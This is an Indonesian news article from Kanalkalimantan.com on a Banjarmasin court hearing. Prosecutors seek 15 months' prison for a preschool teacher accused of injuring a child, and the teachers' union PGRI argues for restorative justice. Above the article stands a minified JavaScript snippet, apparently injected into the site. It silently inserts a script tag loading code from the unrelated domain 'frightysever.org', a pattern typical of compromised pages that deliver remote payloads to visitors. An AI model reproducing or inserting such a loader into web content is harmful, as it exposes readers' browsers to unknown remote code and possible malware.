(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kasus dugaan tindak kekerasan anak PAUD di Banjarmasin yang sempat menjadi perhatian publik memasuki babak baru di Pengadilan Negeri (PN) Banjarmasin.
Setelah melewati serangakaian pembuktian, sidang dengan terdakwa seorang guru perempuan berinisial DA memasuki agenda tuntutan, Senin (8/7/2024) siang.
Sidang yang dipimpin ketua majelis hakim Sunwadi SH MH didampingi dua anggota dilaksanakan secara tertutup. Terdakwa DA hanya mengikuti sidang melalui online dari Lapas Perempuan Martapura.
Dalam tuntutan, tim jaksa penuntut umum yang menangani perkara menuntut terdakwa DA dengan pidana penjara selama 1 tahun 3 bulan penjara atau 15 bulan.
Baca juga: Niat Bersihkan Rumah, Dapati Mayat Lelaki Membusuk di Kasturi II Syamsudin Noor
“Menjatuhkan pidana kepada terdakwa dengan pidana penjara 1 tahun 3 bulan dikurangi selama terdakwa berada dalam tahanan sementara, dengan perintah tetap ditahan,” bunyi tuntutan JPU.
Oleh JPU, terdakwa DA dinyatakan terbukti melakukan tindak pidana kekerasan terhadap anak korban.
Dakwaan pertama pasal 80 ayat (2) Undang-Undang Nomor 17 Tahun 2016 tentang Penetapan Perppu Nomor 1 Tahun 2016 tentang Perubahan Kedua atas Undang-Undang Nomor 23 Tahun 2002 tentang Perlindungan Anak menjadi Undang-Undang jo Undang-Undang Nomor 35 Tahun 2014 tentang Perubahan atas Undang-Undang Nomor 23 Tahun 2002 tentang Perlindungan Anak, dianggap telah terbukti.
“Terdakwa terbukti secara sah dan meyakinkan bersalah melakukan kekerasan terhadap anak yang mengakibatkan luka berat,” kata JPU dikutip dalam salinan tuntutan JPU.
Usai sidang tuntutan, Taufik SH penasehat hukum terdakwa mengaku keberatan terhadap tuntutan pidana 1 tahun 3 bulan yang dijatuhkan kepada kliennya.
Baca juga: Dampingi Aditya di Pilwali Banjarbaru, Sekda Said Abdullah Ajukan Pensiun Dini
Pihaknya mengatakan akan mempersiapkan surat pembelaan untuk dibacakan pada sidang berikutnya diruang sidang.
“Kita minta waktu satu minggu untuk pledoi (pembelaan),” kata Taufik.
Di luar ruang sidang, sejumlah guru yang merupakan rekan seprofesi terdakwa kembali memadati PN Banjarmasin. Sebagian guru terlihat mengenakan seragam PGRI.
Sementara di kubu anak korban ada beberapa Srikandi Pemuda Pancasila (PP) Kalsel juga hadir di PN Banjarmasin. Para wanita berseragam loreng ini hadir memberikan dukungan moril terhadap orangtua korban.
Ditemui terpisah, Ketua LKBH PGRI Kalsel Drs Mukhlis Takwin SH MH turut menyoroti dan bereaksi atas perkara yang bergulir.
Mukhlis mengaku sangat menyayangkan, kasus yang melibatkan guru tersebut sampai berlanjut ke meja hijau. Padahal menurutnya, seharusnya perkara tersebut dapat dimediasi atau melalui Restoratif Justice.
Baca juga: Sekda HSU Mewanti-wanti ASN Tidak Terlibat Judi Online
Masih kata Mukhlis, perkara tersebut menurutnya seharusnya diselesaikan terlebih dahulu lewat organisasi profesi yaitu Dewan Kehormatan yang dimiliki PGRI.
“Jelas peristiwa itu dalam proses pembelajaran, jadi ini masuk dalam profesi yang harus ranahnya organisasi profesi kami, melalui dewan kehormatan guru, dan kami punya lembaga itu,” ujarnya.
Ketua LKBH PGRI Kalsel berharap, putusan hakim PN Banjarmasin dapat membebaskan terdakwa dari segala tuntutan JPU. Sebab pihaknya berkeyakinan, terdakwa tidak ada niatan untuk melakukan kekerasan kepada anak korban.
“Kita ingin anak itu (terdakwa) dibebaskan dari segala tuntutan, dia seorang guru honorer belum PNS, masih panjang untuk mendidik anak bangsa, dan juga termasuk guru berprestasi,” pungkasnya. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
This website uses cookies.